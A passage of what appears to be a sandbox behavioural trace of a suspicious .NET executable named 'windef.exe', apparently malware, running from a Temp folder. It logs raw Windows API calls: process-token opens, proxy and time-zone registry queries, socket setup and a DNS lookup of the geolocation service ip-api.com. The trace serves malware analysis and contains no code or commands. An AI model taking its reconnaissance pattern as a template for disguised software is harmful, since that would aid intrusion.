out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\machine.config", lpFilePart=0x0) returned 0x43 [0151.032] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\machine.config" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\config\\machine.config"), fInfoLevelId=0x0, lpFileInformation=0x18eecc | out: lpFileInformation=0x18eecc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56a29ff, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x97df7583, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x97df7583, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x8c8f)) returned 1 [0151.033] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\machine.config", nBufferLength=0x105, lpBuffer=0x18e8cc, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\machine.config", lpFilePart=0x0) returned 0x43 [0151.034] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x18ee04) returned 1 [0151.035] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\machine.config" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\config\\machine.config"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3d0 [0151.035] GetFileType (hFile=0x3d0) returned 0x1 [0151.035] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x18ee00) returned 1 [0151.035] GetFileType (hFile=0x3d0) returned 0x1 [0151.085] GetFileSize (in: hFile=0x3d0, lpFileSizeHigh=0x18eec0 | out: lpFileSizeHigh=0x18eec0*=0x0) returned 0x8c8f [0151.085] ReadFile (in: hFile=0x3d0, lpBuffer=0x27b8d04, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x18ee7c, lpOverlapped=0x0 | out: lpBuffer=0x27b8d04*, lpNumberOfBytesRead=0x18ee7c*=0x1000, lpOverlapped=0x0) returned 1 [0151.108] ReadFile (in: hFile=0x3d0, lpBuffer=0x27b8d04, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x18ed2c, lpOverlapped=0x0 | out: lpBuffer=0x27b8d04*, lpNumberOfBytesRead=0x18ed2c*=0x1000, lpOverlapped=0x0) returned 1 [0151.110] ReadFile (in: hFile=0x3d0, lpBuffer=0x27b8d04, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x18ebe0, lpOverlapped=0x0 | out: lpBuffer=0x27b8d04*, lpNumberOfBytesRead=0x18ebe0*=0x1000, lpOverlapped=0x0) returned 1 [0151.111] ReadFile (in: hFile=0x3d0, lpBuffer=0x27b8d04, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x18ebe0, lpOverlapped=0x0 | out: lpBuffer=0x27b8d04*, lpNumberOfBytesRead=0x18ebe0*=0x1000, lpOverlapped=0x0) returned 1 [0151.116] ReadFile (in: hFile=0x3d0, lpBuffer=0x25d352c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x18ebe0, lpOverlapped=0x0 | out: lpBuffer=0x25d352c*, lpNumberOfBytesRead=0x18ebe0*=0x1000, lpOverlapped=0x0) returned 1 [0151.116] ReadFile (in: hFile=0x3d0, lpBuffer=0x25d352c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x18eb18, lpOverlapped=0x0 | out: lpBuffer=0x25d352c*, lpNumberOfBytesRead=0x18eb18*=0x1000, lpOverlapped=0x0) returned 1 [0151.122] ReadFile (in: hFile=0x3d0, lpBuffer=0x25d352c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x18ec98, lpOverlapped=0x0 | out: lpBuffer=0x25d352c*, lpNumberOfBytesRead=0x18ec98*=0x1000, lpOverlapped=0x0) returned 1 [0151.124] ReadFile (in: hFile=0x3d0, lpBuffer=0x25d352c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x18eba8, lpOverlapped=0x0 | out: lpBuffer=0x25d352c*, lpNumberOfBytesRead=0x18eba8*=0x1000, lpOverlapped=0x0) returned 1 [0151.124] ReadFile (in: hFile=0x3d0, lpBuffer=0x25d352c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x18eba8, lpOverlapped=0x0 | out: lpBuffer=0x25d352c*, lpNumberOfBytesRead=0x18eba8*=0xc8f, lpOverlapped=0x0) returned 1 [0151.124] ReadFile (in: hFile=0x3d0, lpBuffer=0x25d352c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x18ec68, lpOverlapped=0x0 | out: lpBuffer=0x25d352c*, lpNumberOfBytesRead=0x18ec68*=0x0, lpOverlapped=0x0) returned 1 [0151.124] CloseHandle (hObject=0x3d0) returned 1 [0151.130] GetCurrentProcess () returned 0xffffffff [0151.130] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x18f010 | out: TokenHandle=0x18f010*=0x3d8) returned 1 [0151.130] GetCurrentProcess () returned 0xffffffff [0151.130] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x18f010 | out: TokenHandle=0x18f010*=0x3dc) returned 1 [0151.131] GetCurrentProcess () returned 0xffffffff [0151.131] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x18eecc | out: TokenHandle=0x18eecc*=0x3e0) returned 1 [0151.131] GetFileAttributesExW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Temp\\windef.exe.config" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\temp\\windef.exe.config"), fInfoLevelId=0x0, lpFileInformation=0x18eec4 | out: lpFileInformation=0x18eec4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0151.131] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Temp\\windef.exe.config", nBufferLength=0x105, lpBuffer=0x18e930, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Temp\\windef.exe.config", lpFilePart=0x0) returned 0x3a [0151.131] GetFileAttributesExW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Temp\\windef.exe.config" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\temp\\windef.exe.config"), fInfoLevelId=0x0, lpFileInformation=0x18eecc | out: lpFileInformation=0x18eecc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0151.132] GetCurrentProcess () returned 0xffffffff [0151.132] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x18f010 | out: TokenHandle=0x18f010*=0x3e4) returned 1 [0151.132] GetCurrentProcess () returned 0xffffffff [0151.132] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x18f010 | out: TokenHandle=0x18f010*=0x3e8) returned 1 [0151.154] GetCurrentProcess () returned 0xffffffff [0151.154] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x18ee70 | out: TokenHandle=0x18ee70*=0x3ec) returned 1 [0151.177] GetCurrentProcess () returned 0xffffffff [0151.177] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x18ee80 | out: TokenHandle=0x18ee80*=0x3f0) returned 1 [0151.186] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x3f4 [0151.186] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x3f8 [0151.202] GetCurrentProcess () returned 0xffffffff [0151.202] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x18eecc | out: TokenHandle=0x18eecc*=0x3fc) returned 1 [0151.206] GetCurrentProcess () returned 0xffffffff [0151.206] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x18eedc | out: TokenHandle=0x18eedc*=0x404) returned 1 [0151.218] QueryPerformanceFrequency (in: lpFrequency=0xdf7108 | out: lpFrequency=0xdf7108*=100000000) returned 1 [0151.218] QueryPerformanceCounter (in: lpPerformanceCount=0x18f250 | out: lpPerformanceCount=0x18f250*=3139151153109) returned 1 [0151.223] GetCurrentProcess () returned 0xffffffff [0151.223] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x18ee98 | out: TokenHandle=0x18ee98*=0x408) returned 1 [0151.228] GetCurrentProcess () returned 0xffffffff [0151.228] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x18eea8 | out: TokenHandle=0x18eea8*=0x40c) returned 1 [0151.253] GetCurrentProcess () returned 0xffffffff [0151.253] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x18eeac | out: TokenHandle=0x18eeac*=0x410) returned 1 [0151.256] GetCurrentProcess () returned 0xffffffff [0151.256] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x18eebc | out: TokenHandle=0x18eebc*=0x414) returned 1 [0151.260] GetCurrentProcess () returned 0xffffffff [0151.260] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x18f134 | out: TokenHandle=0x18f134*=0x418) returned 1 [0151.269] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20019, phkResult=0x18e26c | out: phkResult=0x18e26c*=0x41c) returned 0x0 [0151.270] RegQueryValueExW (in: hKey=0x41c, lpValueName="InstallationType", lpReserved=0x0, lpType=0x18e28c, lpData=0x0, lpcbData=0x18e288*=0x0 | out: lpType=0x18e28c*=0x1, lpData=0x0, lpcbData=0x18e288*=0xe) returned 0x0 [0151.270] RegQueryValueExW (in: hKey=0x41c, lpValueName="InstallationType", lpReserved=0x0, lpType=0x18e28c, lpData=0x25f4590, lpcbData=0x18e288*=0xe | out: lpType=0x18e28c*=0x1, lpData="Client", lpcbData=0x18e288*=0xe) returned 0x0 [0151.271] RegCloseKey (hKey=0x41c) returned 0x0 [0151.386] CoTaskMemAlloc (cb=0xcc0) returned 0xfb06e8 [0151.387] RasEnumConnectionsW (in: param_1=0xfb06e8, param_2=0x18f144, param_3=0x18f148 | out: param_1=0xfb06e8, param_2=0x18f144, param_3=0x18f148) returned 0x0 [0151.418] CoTaskMemFree (pv=0xfb06e8) [0151.427] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x18ef2c | out: lpWSAData=0x18ef2c) returned 0 [0151.436] WSASocketW (af=2, type=2, protocol=0, lpProtocolInfo=0x0, g=0x0, dwFlags=0x0) returned 0x468 [0151.471] setsockopt (s=0x468, level=65535, optname=128, optval="\x01", optlen=4) returned -1 [0151.471] closesocket (s=0x468) returned 0 [0151.471] WSASocketW (af=23, type=2, protocol=0, lpProtocolInfo=0x0, g=0x0, dwFlags=0x0) returned 0x468 [0151.473] setsockopt (s=0x468, level=65535, optname=128, optval="\x01", optlen=4) returned -1 [0151.473] closesocket (s=0x468) returned 0 [0151.473] WSASocketW (af=2, type=2, protocol=0, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x468 [0151.474] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x46c [0151.474] ioctlsocket (in: s=0x468, cmd=-2147195266, argp=0x18f14c | out: argp=0x18f14c) returned 0 [0151.474] WSASocketW (af=23, type=2, protocol=0, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x470 [0151.475] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x474 [0151.475] ioctlsocket (in: s=0x470, cmd=-2147195266, argp=0x18f14c | out: argp=0x18f14c) returned 0 [0151.476] WSAIoctl (in: s=0x468, dwIoControlCode=0x28000017, lpvInBuffer=0x0, cbInBuffer=0x0, lpvOutBuffer=0x0, cbOutBuffer=0x0, lpcbBytesReturned=0x18f134, lpOverlapped=0x0, lpCompletionRoutine=0x0 | out: lpvOutBuffer=0x0, lpcbBytesReturned=0x18f134, lpOverlapped=0x0) returned -1 [0151.478] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x2733, dwLanguageId=0x0, lpBuffer=0x18ee64, nSize=0x101, Arguments=0x0 | out: lpBuffer="A non-blocking socket operation could not be completed immediately.\r\n") returned 0x45 [0151.488] WSAEventSelect (s=0x468, hEventObject=0x46c, lNetworkEvents=512) returned 0 [0151.489] WSAIoctl (in: s=0x470, dwIoControlCode=0x28000017, lpvInBuffer=0x0, cbInBuffer=0x0, lpvOutBuffer=0x0, cbOutBuffer=0x0, lpcbBytesReturned=0x18f134, lpOverlapped=0x0, lpCompletionRoutine=0x0 | out: lpvOutBuffer=0x0, lpcbBytesReturned=0x18f134, lpOverlapped=0x0) returned -1 [0151.489] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x2733, dwLanguageId=0x0, lpBuffer=0x18ee64, nSize=0x101, Arguments=0x0 | out: lpBuffer="A non-blocking socket operation could not be completed immediately.\r\n") returned 0x45 [0151.489] WSAEventSelect (s=0x470, hEventObject=0x474, lNetworkEvents=512) returned 0 [0151.489] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x47c [0151.489] RasConnectionNotificationW (param_1=0xffffffff, param_2=0x47c, param_3=0x3) returned 0x0 [0151.512] RegOpenCurrentUser (in: samDesired=0x20019, phkResult=0x18f160 | out: phkResult=0x18f160*=0x494) returned 0x0 [0151.513] RegOpenKeyExW (in: hKey=0x494, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\Connections", ulOptions=0x0, samDesired=0x20019, phkResult=0x18f114 | out: phkResult=0x18f114*=0x498) returned 0x0 [0151.513] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x49c [0151.513] RegNotifyChangeKeyValue (hKey=0x498, bWatchSubtree=1, dwNotifyFilter=0x4, hEvent=0x49c, fAsynchronous=1) returned 0x0 [0151.514] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\Connections", ulOptions=0x0, samDesired=0x20019, phkResult=0x18f118 | out: phkResult=0x18f118*=0x4a0) returned 0x0 [0151.515] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x4a4 [0151.515] RegNotifyChangeKeyValue (hKey=0x4a0, bWatchSubtree=1, dwNotifyFilter=0x4, hEvent=0x4a4, fAsynchronous=1) returned 0x0 [0151.515] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Policies\\Microsoft\\Windows\\CurrentVersion\\Internet Settings", ulOptions=0x0, samDesired=0x20019, phkResult=0x18f118 | out: phkResult=0x18f118*=0x4a8) returned 0x0 [0151.515] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x4ac [0151.516] RegNotifyChangeKeyValue (hKey=0x4a8, bWatchSubtree=1, dwNotifyFilter=0x4, hEvent=0x4ac, fAsynchronous=1) returned 0x0 [0151.516] GetCurrentProcess () returned 0xffffffff [0151.516] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x18f108 | out: TokenHandle=0x18f108*=0x4b0) returned 1 [0151.520] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\.NETFramework", ulOptions=0x0, samDesired=0x20019, phkResult=0x18ea10 | out: phkResult=0x18ea10*=0x4b4) returned 0x0 [0151.520] RegQueryValueExW (in: hKey=0x4b4, lpValueName="LegacyWPADSupport", lpReserved=0x0, lpType=0x18ea2c, lpData=0x0, lpcbData=0x18ea28*=0x0 | out: lpType=0x18ea2c*=0x0, lpData=0x0, lpcbData=0x18ea28*=0x0) returned 0x2 [0151.520] RegCloseKey (hKey=0x4b4) returned 0x0 [0151.562] WinHttpOpen (pszAgentW=0x0, dwAccessType=0x1, pszProxyW=0x0, pszProxyBypassW=0x0, dwFlags=0x0) returned 0xfb9ff8 [0151.583] WinHttpSetTimeouts (hInternet=0xfb9ff8, nResolveTimeout=60000, nConnectTimeout=60000, nSendTimeout=60000, nReceiveTimeout=60000) returned 1 [0151.583] WinHttpGetIEProxyConfigForCurrentUser (in: pProxyConfig=0x18f114 | out: pProxyConfig=0x18f114) returned 1 [0151.655] GetEnvironmentVariableW (in: lpName="PinnableBufferCache_System.Net.HttpWebRequest_Disabled", lpBuffer=0x18e988, nSize=0x80 | out: lpBuffer="") returned 0x0 [0151.655] GetEnvironmentVariableW (in: lpName="PinnableBufferCache_System.Net.HttpWebRequest_MinCount", lpBuffer=0x18e988, nSize=0x80 | out: lpBuffer="") returned 0x0 [0151.668] EtwEventRegister (in: ProviderId=0x25f7374, EnableCallback=0x254061e, CallbackContext=0x0, RegHandle=0x25f7350 | out: RegHandle=0x25f7350) returned 0x0 [0151.670] EtwEventSetInformation (RegHandle=0xfaeee8, InformationClass=0x4d, EventInformation=0x2, InformationLength=0x25f7310) returned 0x0 [0151.682] GetCurrentProcess () returned 0xffffffff [0151.682] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x18ee74 | out: TokenHandle=0x18ee74*=0x4f8) returned 1 [0151.685] GetCurrentProcess () returned 0xffffffff [0151.685] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x18ee84 | out: TokenHandle=0x18ee84*=0x504) returned 1 [0151.760] GetCurrentProcess () returned 0xffffffff [0151.761] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x18ee20 | out: TokenHandle=0x18ee20*=0x508) returned 1 [0151.762] GetCurrentProcess () returned 0xffffffff [0151.762] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x18ee30 | out: TokenHandle=0x18ee30*=0x50c) returned 1 [0151.764] GetTimeZoneInformation (in: lpTimeZoneInformation=0x18efa0 | out: lpTimeZoneInformation=0x18efa0) returned 0x1 [0151.766] GetDynamicTimeZoneInformation (in: pTimeZoneInformation=0x18edfc | out: pTimeZoneInformation=0x18edfc) returned 0x1 [0151.768] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Time Zones\\W. Europe Standard Time", ulOptions=0x0, samDesired=0x20019, phkResult=0x18eee0 | out: phkResult=0x18eee0*=0x510) returned 0x0 [0151.768] RegQueryValueExW (in: hKey=0x510, lpValueName="TZI", lpReserved=0x0, lpType=0x18eefc, lpData=0x0, lpcbData=0x18eef8*=0x0 | out: lpType=0x18eefc*=0x3, lpData=0x0, lpcbData=0x18eef8*=0x2c) returned 0x0 [0151.768] RegQueryValueExW (in: hKey=0x510, lpValueName="TZI", lpReserved=0x0, lpType=0x18eefc, lpData=0x25fb9f0, lpcbData=0x18eef8*=0x2c | out: lpType=0x18eefc*=0x3, lpData=0x25fb9f0*, lpcbData=0x18eef8*=0x2c) returned 0x0 [0151.769] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Time Zones\\W. Europe Standard Time\\Dynamic DST", ulOptions=0x0, samDesired=0x20019, phkResult=0x18ed34 | out: phkResult=0x18ed34*=0x0) returned 0x2 [0151.771] RegQueryValueExW (in: hKey=0x510, lpValueName="MUI_Display", lpReserved=0x0, lpType=0x18eed4, lpData=0x0, lpcbData=0x18eed0*=0x0 | out: lpType=0x18eed4*=0x1, lpData=0x0, lpcbData=0x18eed0*=0x20) returned 0x0 [0151.771] RegQueryValueExW (in: hKey=0x510, lpValueName="MUI_Display", lpReserved=0x0, lpType=0x18eed4, lpData=0x25fbe14, lpcbData=0x18eed0*=0x20 | out: lpType=0x18eed4*=0x1, lpData="@tzres.dll,-320", lpcbData=0x18eed0*=0x20) returned 0x0 [0151.771] RegQueryValueExW (in: hKey=0x510, lpValueName="MUI_Std", lpReserved=0x0, lpType=0x18eed4, lpData=0x0, lpcbData=0x18eed0*=0x0 | out: lpType=0x18eed4*=0x1, lpData=0x0, lpcbData=0x18eed0*=0x20) returned 0x0 [0151.771] RegQueryValueExW (in: hKey=0x510, lpValueName="MUI_Std", lpReserved=0x0, lpType=0x18eed4, lpData=0x25fbe6c, lpcbData=0x18eed0*=0x20 | out: lpType=0x18eed4*=0x1, lpData="@tzres.dll,-322", lpcbData=0x18eed0*=0x20) returned 0x0 [0151.771] RegQueryValueExW (in: hKey=0x510, lpValueName="MUI_Dlt", lpReserved=0x0, lpType=0x18eed4, lpData=0x0, lpcbData=0x18eed0*=0x0 | out: lpType=0x18eed4*=0x1, lpData=0x0, lpcbData=0x18eed0*=0x20) returned 0x0 [0151.771] RegQueryValueExW (in: hKey=0x510, lpValueName="MUI_Dlt", lpReserved=0x0, lpType=0x18eed4, lpData=0x25fbec4, lpcbData=0x18eed0*=0x20 | out: lpType=0x18eed4*=0x1, lpData="@tzres.dll,-321", lpcbData=0x18eed0*=0x20) returned 0x0 [0151.773] CoTaskMemAlloc (cb=0x20c) returned 0xfcad08 [0151.773] SHGetFolderPathW (in: hwnd=0x0, csidl=37, hToken=0x0, dwFlags=0x0, pszPath=0xfcad08 | out: pszPath="C:\\Windows\\system32") returned 0x0 [0151.774] CoTaskMemFree (pv=0xfcad08) [0151.775] CoTaskMemAlloc (cb=0x20c) returned 0xfcad08 [0151.775] GetFileMUIPath (in: dwFlags=0x10, pcwszFilePath="C:\\Windows\\system32\\tzres.dll", pwszLanguage=0x0, pcchLanguage=0x18eef0, pwszFileMUIPath=0xfcad08, pcchFileMUIPath=0x18eef4, pululEnumerator=0x18eee8 | out: pwszLanguage=0x0, pcchLanguage=0x18eef0, pwszFileMUIPath="C:\\Windows\\system32\\en-US\\tzres.dll.mui", pcchFileMUIPath=0x18eef4, pululEnumerator=0x18eee8) returned 1 [0151.787] CoTaskMemFree (pv=0x0) [0151.787] CoTaskMemFree (pv=0xfcad08) [0151.788] LoadLibraryExW (lpLibFileName="C:\\Windows\\system32\\en-US\\tzres.dll.mui", hFile=0x0, dwFlags=0x2) returned 0x25a0001 [0151.792] CoTaskMemAlloc (cb=0x3ec) returned 0xfcad08 [0151.792] LoadStringW (in: hInstance=0x25a0001, uID=0x140, lpBuffer=0xfcad08, cchBufferMax=500 | out: lpBuffer="(UTC+01:00) Amsterdam, Berlin, Bern, Rome, Stockholm, Vienna") returned 0x3c [0151.793] CoTaskMemFree (pv=0xfcad08) [0151.793] FreeLibrary (hLibModule=0x25a0001) returned 1 [0151.794] CoTaskMemAlloc (cb=0x20c) returned 0xfcad08 [0151.794] SHGetFolderPathW (in: hwnd=0x0, csidl=37, hToken=0x0, dwFlags=0x0, pszPath=0xfcad08 | out: pszPath="C:\\Windows\\system32") returned 0x0 [0151.794] CoTaskMemFree (pv=0xfcad08) [0151.794] CoTaskMemAlloc (cb=0x20c) returned 0xfcad08 [0151.794] GetFileMUIPath (in: dwFlags=0x10, pcwszFilePath="C:\\Windows\\system32\\tzres.dll", pwszLanguage=0x0, pcchLanguage=0x18eef0, pwszFileMUIPath=0xfcad08, pcchFileMUIPath=0x18eef4, pululEnumerator=0x18eee8 | out: pwszLanguage=0x0, pcchLanguage=0x18eef0, pwszFileMUIPath="C:\\Windows\\system32\\en-US\\tzres.dll.mui", pcchFileMUIPath=0x18eef4, pululEnumerator=0x18eee8) returned 1 [0151.795] CoTaskMemFree (pv=0x0) [0151.795] CoTaskMemFree (pv=0xfcad08) [0151.795] LoadLibraryExW (lpLibFileName="C:\\Windows\\system32\\en-US\\tzres.dll.mui", hFile=0x0, dwFlags=0x2) returned 0x25a0001 [0151.797] CoTaskMemAlloc (cb=0x3ec) returned 0xfcad08 [0151.798] LoadStringW (in: hInstance=0x25a0001, uID=0x142, lpBuffer=0xfcad08, cchBufferMax=500 | out: lpBuffer="W. Europe Standard Time") returned 0x17 [0151.798] CoTaskMemFree (pv=0xfcad08) [0151.798] FreeLibrary (hLibModule=0x25a0001) returned 1 [0151.798] CoTaskMemAlloc (cb=0x20c) returned 0xfcad08 [0151.799] SHGetFolderPathW (in: hwnd=0x0, csidl=37, hToken=0x0, dwFlags=0x0, pszPath=0xfcad08 | out: pszPath="C:\\Windows\\system32") returned 0x0 [0151.799] CoTaskMemFree (pv=0xfcad08) [0151.799] CoTaskMemAlloc (cb=0x20c) returned 0xfcad08 [0151.799] GetFileMUIPath (in: dwFlags=0x10, pcwszFilePath="C:\\Windows\\system32\\tzres.dll", pwszLanguage=0x0, pcchLanguage=0x18eef0, pwszFileMUIPath=0xfcad08, pcchFileMUIPath=0x18eef4, pululEnumerator=0x18eee8 | out: pwszLanguage=0x0, pcchLanguage=0x18eef0, pwszFileMUIPath="C:\\Windows\\system32\\en-US\\tzres.dll.mui", pcchFileMUIPath=0x18eef4, pululEnumerator=0x18eee8) returned 1 [0151.800] CoTaskMemFree (pv=0x0) [0151.800] CoTaskMemFree (pv=0xfcad08) [0151.800] LoadLibraryExW (lpLibFileName="C:\\Windows\\system32\\en-US\\tzres.dll.mui", hFile=0x0, dwFlags=0x2) returned 0x25a0001 [0151.801] CoTaskMemAlloc (cb=0x3ec) returned 0xfcad08 [0151.801] LoadStringW (in: hInstance=0x25a0001, uID=0x141, lpBuffer=0xfcad08, cchBufferMax=500 | out: lpBuffer="W. Europe Daylight Time") returned 0x17 [0151.802] CoTaskMemFree (pv=0xfcad08) [0151.802] FreeLibrary (hLibModule=0x25a0001) returned 1 [0151.802] RegCloseKey (hKey=0x510) returned 0x0 [0151.804] SetEvent (hEvent=0x3f4) returned 1 [0151.815] EtwEventRegister (in: ProviderId=0x25ff734, EnableCallback=0x2540646, CallbackContext=0x0, RegHandle=0x25ff710 | out: RegHandle=0x25ff710) returned 0x0 [0151.816] EtwEventSetInformation (RegHandle=0xfaf3c8, InformationClass=0x4e, EventInformation=0x2, InformationLength=0x25ff6d4) returned 0x0 [0151.818] SetEvent (hEvent=0x3f4) returned 1 [0151.819] GetACP () returned 0x4e4 [0151.838] GetNetworkParams (in: pFixedInfo=0x0, pOutBufLen=0x18f0cc | out: pFixedInfo=0x0, pOutBufLen=0x18f0cc) returned 0x6f [0151.888] LocalAlloc (uFlags=0x0, uBytes=0x248) returned 0xfcb680 [0151.888] GetNetworkParams (in: pFixedInfo=0xfcb680, pOutBufLen=0x18f0cc | out: pFixedInfo=0xfcb680, pOutBufLen=0x18f0cc) returned 0x0 [0151.901] LocalFree (hMem=0xfcb680) returned 0x0 [0151.902] CoTaskMemAlloc (cb=0x20c) returned 0xfcb680 [0151.902] GetEnvironmentVariableW (in: lpName="PinnableBufferCache_System.Net.Connection_Disabled", lpBuffer=0xfcb680, nSize=0x104 | out: lpBuffer="") returned 0x0 [0151.903] CoTaskMemFree (pv=0xfcb680) [0151.903] CoTaskMemAlloc (cb=0x20c) returned 0xfcb680 [0151.903] GetEnvironmentVariableW (in: lpName="PinnableBufferCache_System.Net.Connection_MinCount", lpBuffer=0xfcb680, nSize=0x104 | out: lpBuffer="") returned 0x0 [0151.903] CoTaskMemFree (pv=0xfcb680) [0151.908] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x56c [0151.909] WSASocketW (af=23, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x544 [0151.911] GetAddrInfoW (in: pNodeName="ip-api.com", pServiceName=0x0, pHints=0x18efb4*(ai_flags=2, ai_family=0, ai_socktype=0, ai_protocol=0, ai_addrlen=0x0, ai_canonname=0x0, ai_addr=0x0, ai_next=0x0), ppResult=0x18ef5c | out: ppResult=0x18ef5c*=0xfac528*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="ip-api.com", ai_addr=0xfbd838*(sa_family=2, sin_port=0x0, sin_addr="208.95.112.1"), ai_next=0x0)) returned 0 [0151.993] FreeAddrInfoW (pAddrInfo=0xfac528*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="ip-api.com", ai_addr=0xfbd838*(sa_family=2, sin_port=0x0, sin_addr="208.95.112.1"), ai_next=0x0)) [0151.996] WSASocketW (af=2, type=2, protocol=0, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x574 [0151.996] CreateEventW (lpEventAttributes=0x0, 